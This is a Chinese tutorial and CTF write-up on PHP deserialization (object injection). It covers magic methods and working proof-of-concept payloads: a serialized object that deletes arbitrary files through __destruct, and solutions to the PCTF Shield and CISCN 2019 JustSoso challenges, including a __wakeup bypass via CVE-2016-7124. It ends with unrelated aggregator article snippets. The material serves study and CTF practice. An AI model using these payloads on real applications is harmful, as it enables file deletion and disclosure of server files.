php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用

原创:f1r3K0

php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到。

01学习前最好提前掌握的知识PHP类与对象(https://www.php.net/manual/zh/language.oop5.php)

PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php)

serialize()

(http://php.net/manual/zh/function.serialize.php)

与unserialize()

(http://php.net/manual/zh/function.unserialize.php)

02序列化与反序列化

PHP (从 PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数:serialize、unserialize。

serialize()

当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;

classpeople

{

public$name ="f1r3K0";

public$age ='18';

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

?>

测试结果:

O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意这里的括号外边的为大写英文字母O下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串

unserialize()

与 serialize() 对应的,unserialize()可以从序列化后的结果中恢复对象(object),我们翻阅PHP手册发现官方给出的是:unserialize — 从已存储的表示中创建 PHP 的值。

我们可以直接把之前序列化的对象反序列化回来来测试函数,如下:

classpeople

{

public$name ="f1r3K0";

public$age ='18';

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unse

r);

?>

93847674bcf37ebc51f4cc381361f287.png提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。(先埋个伏笔,这个点后面会提)

03反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个"精心”构造的序列化字符串,从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

php中有一类特殊的方法叫“Magic function”,就是我们常说的"魔术方法" 这里我们着重关注一下几个:__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。

__wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。

__toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。

__sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。

测试如下:

classpeople

{

public$name ="f1r3K0";

public$age ='18';

function__wakeup()

{

echo"__wakeup()";

}

function__construct()

{

echo"__consrtuct()";

}

function__destruct()

{

echo"__destruct()";

}

function__toString()

{

echo"__toString";

}

/*function __sleep()

{

echo "__sleep";

}*/

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unser);

?>

结果如下:

2de1809bac327962e7aaee61feea6e20.png从运行结果来看,我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时,对于其他方法的调用顺序也一目了然了。(注意:这里我将sleep注释掉了,因为sleep会在序列化的时候调用,因此执行sleep方法就不会再执行序列以及之后的操作了。)

利用场景

__wakeup()和destruct()

由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:

//logfile.php 删除临时日志文件

classLogFile{

//log文件名

public$filename ='error.log';

//存储日志文件

publicfunctionLogData($text) {

echo'Log some data:'. $text .'
';

file_put_contents($this->filename, $text, FILE_APPEND);

}

//Destructor删除日志文件

publicfunction__destruct() {

echo'__destruct delete'. $this->filename .'file.
';

unlink(dirname(__FILE__) .'/'. $this->filename);//删除当前目录下的filename这个文件

}

}

?>

//包含了’logfile.php’的主页面文件index.php

classUser{

//属性

public$age =0;

public$name ='';

//调用函数来输出类中属性

publicfunctionPrintData() {

echo'User'. $this->name .'is'. $this->age .'years old.
';

}

}

$usr = unserialize($_GET['user']);

?>

梳理下这2个php文件的功能,index.php是一个有php序列化漏洞的主业文件,logfile.php的功能就是在临时日志文件被记录了之后调用__destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的感觉,利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()来删除source.txt.

漏洞利用exp<?php

include'logfile.php';

$obj =newLogFile();

$obj->filename ='source.txt';//source.txt为你想删除的文件

echo serialize($obj) .'
';

?>

这里我们通过['GET']传入序列化字符串,调用反序列化函数来删除想要删除的文件。

f3c01bfe95dbf4938913bf5cbc514be8.png

之前还看到过一个wakeup()非常有意思的例子,这里直接上链接了

chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

04其它magic function的利用

这里我就结合PCTF和今年国赛上的题来分析了

PCTF

题目链接:(http://web.jarvisoj.com:32768/index.php)前面几步都是很常见的读文件源码

这里直接放出给的两个源码//index.php

require_once('shield.php');

$x =newShield();

isset($_GET['class']) && $g = $_GET['class'];

if(!empty($g)) {

$x = unserialize($g);

}

echo $x->readfile();

?>

上边index.php提示了包含的shield.php所以说直接构造base64就完事了//shield.php

//flag is in pctf.php

classShield{

public$file;

function__construct($filename ='') {

$this -> file = $filename;

}

functionreadfile() {

if(!empty($this->file) && stripos($this->file,'..')===FALSE

&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

return@file_get_contents($this->file);

}

}

}

index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容,输出了readfile()方法

shield.php 1.首先就能发现file是可控的(利用点) 2.construct()在index中实例化的时候就已经执行了,因此不会影响我们对可控$file的利用。

构造poc<?php

classShield

{

public$file ="pctf.php";

}

$flag =newShield();

print_r(serialize($flag));

?>最终poc:

c8c93e3969b5c5c6c0fd423131cafa94.png

最终POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

ciscn2019 web1- JustSoso

读源码的过程省略//index.php

error_reporting(0);

$file = $_GET["file"];

$payload = $_GET["payload"];

if(!isset($file)){

echo'Missing parameter'.'
';

}

if(preg_match("/flag/",$file)){

die('hack attacked!!!');

}

@include($file);

if(isset($payload)){

$url = parse_url($_SERVER['REQUEST_URI']);

parse_str($url['query'],$query);

foreach($queryas$value){

if(preg_match("/flag/",$value)) {

die('stop hacking!');

exit();

}

}

$payload = unserialize($payload);

}else{

echo"Missing parameters";

}

?>

classHandle{

private$handle;

publicfunction__wakeup(){

foreach(get_object_vars($this)as$k => $v) {

$this->$k =null;

}

echo"Waking up\n";

}

publicfunction__construct($handle) {

$this->handle = $handle;

}

publicfunction__destruct(){

$this->handle->getFlag();

}

}

classFlag{

public$file;

public$token;

public$token_flag;

function__construct($file){

$this->file = $file;

$this->token_flag=&$this->token;

}

publicfunctiongetFlag(){

$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag)

{

if(isset($this->file)){

echo@highlight_file($this->file,true);

}

}

}

}

其实刚开始做的时候是很懵逼了,一直在纠结爆破md5上边。22233333

1.首先我们需要绕的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失败,这样就可以在payload里出现flag,这里应该n1ctf的web eating cms的绕过方式,添加 ///index.php绕过。

2.接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作,这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

3.绕md5这里用到了PHP中引用变量的知识

https://blog.csdn.net/qq_33156633/article/details/79936487

简单来说就是,当两个变量指向同一地址时,例如: $b=&$a,这里的 $b指向的是 $a的区域,这样b就随着a变化而变化,同样的原理,我们在第二步序列化时加上这一步$b =newFlag("flag.php");

$b->token=&$b->token_flag;

$a =newHandle($b);

这样最后的token就和token_flag保持一致了。

最后的POC<?php

classHandle

{

private$handle;

publicfunction__wakeup()

{

foreach(get_object_vars($this)as$k => $v)

{

$this->$k =null;

}

echo"Waking upn";

}

publicfunction__construct($handle)

{

$this->handle = $handle;

}

publicfunction__destruct()

{

$this->handle->getFlag();

}

}

classFlag

{

public$file;

public$token;

public$token_flag;

function__construct($file)

{

$this->file = $file;

$this->token_flag = $this->token = md5(rand(1,10000));

}

publicfunctiongetFlag()

{

if(isset($this->file))

{

echo@highlight_file($this->file,true);

}

}

}

$b =newFlag("flag.php");

$b->token=&$b->token_flag;

$a =newHandle($b);

echo(serialize($a));

?>

29b3944ef76078ee9c74e15b032fe48a.png

这里还有一个点就是我们需要用%00来补全空缺的字符,又因为含有private 变量,需要 encode 一下。

最终payload:

?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

05利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。

参考文章

https://www.cnblogs.com/Mrsm1th/p/6835592.html

http://p0desta.com/2018/04/01/php反序列化总结/

http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解与利用/

https://p0sec.net/index.php/archives/114/

相关操作学习:

PHP反序列化漏洞实验:明白什么是反序列化漏洞,漏洞成因以及如何挖掘和预防此类漏洞。http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001开始操作!

f7abc2c073aa532b535bd35331d0cbe4.png本文为合天原创,未经允许,严禁装载。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/506709.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php按数字分页类,PHP简单实现数字分页功能示例

本文实例讲述了PHP简单实现数字分页功能。分享给大家供大家参考&#xff0c;具体如下&#xff1a;header ( Content-Type: text/html; charsetutf-8 );//分页$page$_GET[page];$allcount 100;$page_size 10;$page_show 5;$page_count ceil($allcount/$page_size);if($page <…

php 瀑布流布局,CSS3实现瀑布流布局的方法

这次给大家带来CSS3实现瀑布流布局的方法&#xff0c;CSS3实现瀑布流布局的注意事项有哪些&#xff0c;下面就是实战案例&#xff0c;一起来看一下。以前使用瀑布流都要用js&#xff0c;现在有了css3&#xff0c;可以轻松实现了。掌握点&#xff1a;1、column-count 把p中的文本…

php 文章列表,ThinkPHP初学者:主页,获取一个文章列表

在之前的文章&#xff0c;已经实现了注册登录的功能&#xff0c;主要熟悉TP与HTML、JS交互&#xff0c;数据库的基本操作等。接下来就要登录到主页&#xff0c;熟悉一下列表的处理&#xff0c;以及数据库多表联查操作。为了简化模型&#xff0c;列表的字段仅有文章标题、简介、…

JAVA中数字格式异常,java - Java数字格式异常 - 堆栈内存溢出

当我遇到NumberFormatException时&#xff0c;我正在CodeChef平台上解决问题。首先&#xff0c;我使用Scanner处理输入&#xff0c;然后使用BufferedReader 。 但是他们都不起作用&#xff01;这是我的代码&#xff1a;import java.io.*;import java.util.*;import java.text.*…

java excel 打勾,两种方法教你如何在excel文件中打勾

两种方法教你如何在excel文件中打勾方法一&#xff1a;通过复选框功能打勾本方法是通过Excel文件中的开发工具栏中的功能实现打勾的。有时候如果我们在Excel文件中找不到“开发工具”功能&#xff0c;这时我们可以通过“Excel选项”功能来进行设置。首先我们点击Excel文件左上角…

数字图像matlab心得,Matlab数字图像处理的学习建议

如果是软实力,学好数学才是王道!和机器学习和计算机视觉相关的数学(转载)(以下转自一位MIT牛人的空间文章&#xff0c;写得很实际&#xff1a;)作者&#xff1a;Dahua感觉数学似乎总是不够的。这些日子为了解决research中的一些问题&#xff0c;又在图书馆捧起了数学的教科书。…

php js登录,php+js实现单点登录

phpjs实现单点登录2020年08月14日 00:45:23阅读数&#xff1a;110登录信息表DROP TABLE IF EXISTS fly_admin_login_info;CREATE TABLE fly_admin_login_info (id int(11) unsigned NOT NULL AUTO_INCREMENT,admin_id int(11) unsigned DEFAULT NULL,email varchar(80) DEFAULT…

php 本站已运行了多少天,本站已运行了多少天”代码(js版+php版)

最初用的是js的脚本&#xff0c;代码如下&#xff1a;var urodz new Date(“4/15/2010″); //建站时间var now new Date();var ile now.getTime() – urodz.getTime();var dni Math.floor(ile / (1000 * 60 * 60 * 24));document.write(dni)后来发现&#xff0c;这个脚本对客…

php class类 教程,PHP类(Class)入门教程第2/2页

用正确的小汽车对象学习和熟悉类的概念很多书讲到类总喜欢拿小汽车来做例子&#xff0c;但是有些例子实在是又臭又烂误人子弟&#xff0c;骗人钱财&#xff0c;毁人前程&#xff0c;弱智低级到瞎编一个什么 set_color()函数来教人。实在是白白糟踏了好东西。今天在phpx.com又看…

php 控制器 模板,php学习笔记(一)php模板与控制器

/welcome/index.phpif(!isset($_REQUEST[fn])){include from.html.php;}else{$firstname $_REQUEST[fn];$lastname $_REQUEST[lastname];if($firstname 孙 and $lastname 哥){$aa 欢迎登陆&#xff0c;我的国王&#xff01;;}else{$aa 欢迎登陆 .htmlspecialchars($first…

android jni java调用c,Android与JNI(一) ---- Java调用C 静态调用

第一、通过eclipse新建一个工程名为HelloJni的android工程&#xff0c;并编译。第二、右键工程-->Android Tools --> Add Native Support,出现如下界面&#xff0c;名字默认就可以了&#xff0c;点击finish。第三、我们在MainActivity类中加入要调用的native代码public n…

ocid oracle,Oracle数据库基础:新手推荐

Oracle数据库的主要特点(1.)支持多用户&#xff0c;大事务量的事务处理(2.)在保持数据库安全性和完整性方面性优越。(3.)支持分布式数据处理。将分布在不同物理位置的数据库用通信网连接起来&#xff0c;在分布式数据库管理系统的控制下&#xff0c;组成一个逻辑上统一的数据库…

oracle存储过程 取时间格式,Oracle存储过程获取YYYY-MM-DD的时间格式

环境&#xff1a;Oracle 10g,11g 问题重现&#xff1a;PL/SQL中命令窗口下&#xff0c;发现存储过程得到的时间格式不符合预期要求。 SQLgt; select sysdate fro环境&#xff1a;Oracle 10g,11g问题重现&#xff1a;PL/SQL中命令窗口下&#xff0c;发现存储过程得到的时间格式不…

oracle归档日志 delete obsolete 保留一次全备,DELETE OBSOLETE不删除归档日志以及归档的备份集...

今天遇到一个奇怪的事情&#xff0c;使用OBSOLETE不删除归档日志&#xff0c;而且也不删除过期的归档的BACKUP SET从delete obsolete的概念来看如下&#xff1a;The REPORT OBSOLETE and DELETE OBSOLETE commands work in two steps:For each datafile for which there are fu…

oracle 12 sqlplus 使用,oracle 12.2 sqlplus history

12.1开始使用sqlplus显示用户上次登录时间&#xff0c;12.2提供了一个记录历史sql的功能&#xff0c;类似于操作系统的history&#xff0c;根目录下的.history文件&#xff0c;不过功能比操作系统的history要强大&#xff0c;可以指定删除/运行/编辑历史记录里面的某一条SQL&am…

execl执行linux命令,使用execl运行Linux命令

我需要通过编写C语言程序列出当前目录中具有644权限的所有文件.我不能使用system()并且必须使用execl()才能使用系统调用.这是我在代码中使用的一行&#xff1a;execl("/usr/bin/find", "find . -maxdepth 1 -perm 644", (char *)NULL);问题是代码正在搜索…

Linux里面lvs的基础命令,Linux中使用ipvsadm配置LVS集群的基本方法

LVS集群有DR、TUN、NAT三种配置模式&#xff0c;可以对www服务、FTP服务、MAIL服务等做负载均衡&#xff0c;下面通过搭建www服务的负载均衡实例&#xff0c;讲述基于DR模式的LVS集群配置。一、 Director Server的配置  在Director Server上配置LVS负载均衡集群&#xff0c;有…

linux 内核 睡眠,linux内核对S3C2410睡眠模式的支持有哪些?

一、S3C2410支持4种供电模式(1)NORMAL MODE耗电最大、可以通过关闭具体控制器的时钟来节电(2)SLOW MODE在此模式下可以没有内部PLL&#xff0c;耗电情况依赖于外部时钟的频率(3)IDLE MODEFCLK被关断&#xff0c;主要由于CPU core节电。可以任何通过外部中断唤醒(4)Power_OFF MO…

linux c timeval 转化为标准时间,Linux_学习笔记_-_时钟_定时器

Linux 时钟_定时器1 时钟时钟这个东西&#xff0c;实际上是作为一种工具而存在&#xff0c;内核通过时钟来感知、管理时间。这里的时钟&#xff0c;更主要的还是软件上的概念&#xff0c;系统通过维护软件时钟来追踪时间1.1 几个概念1、时钟中断&#xff1a;由硬件产生的电信号…

linux 修改块大小,linux 查看及修改os系统块的大小

查看os系统块的大小[root]# /sbin/tune2fs -l /dev/sda1查看os系统页的大小[oracleskate-test ~]$ getconf PAGESIZE4096修改块的大小:创建文件系统时&#xff0c;可以指定块的大小。如果将来在你的文件系统中是一些比较大的文件的话&#xff0c;使用较大的块大小将得到较好的性…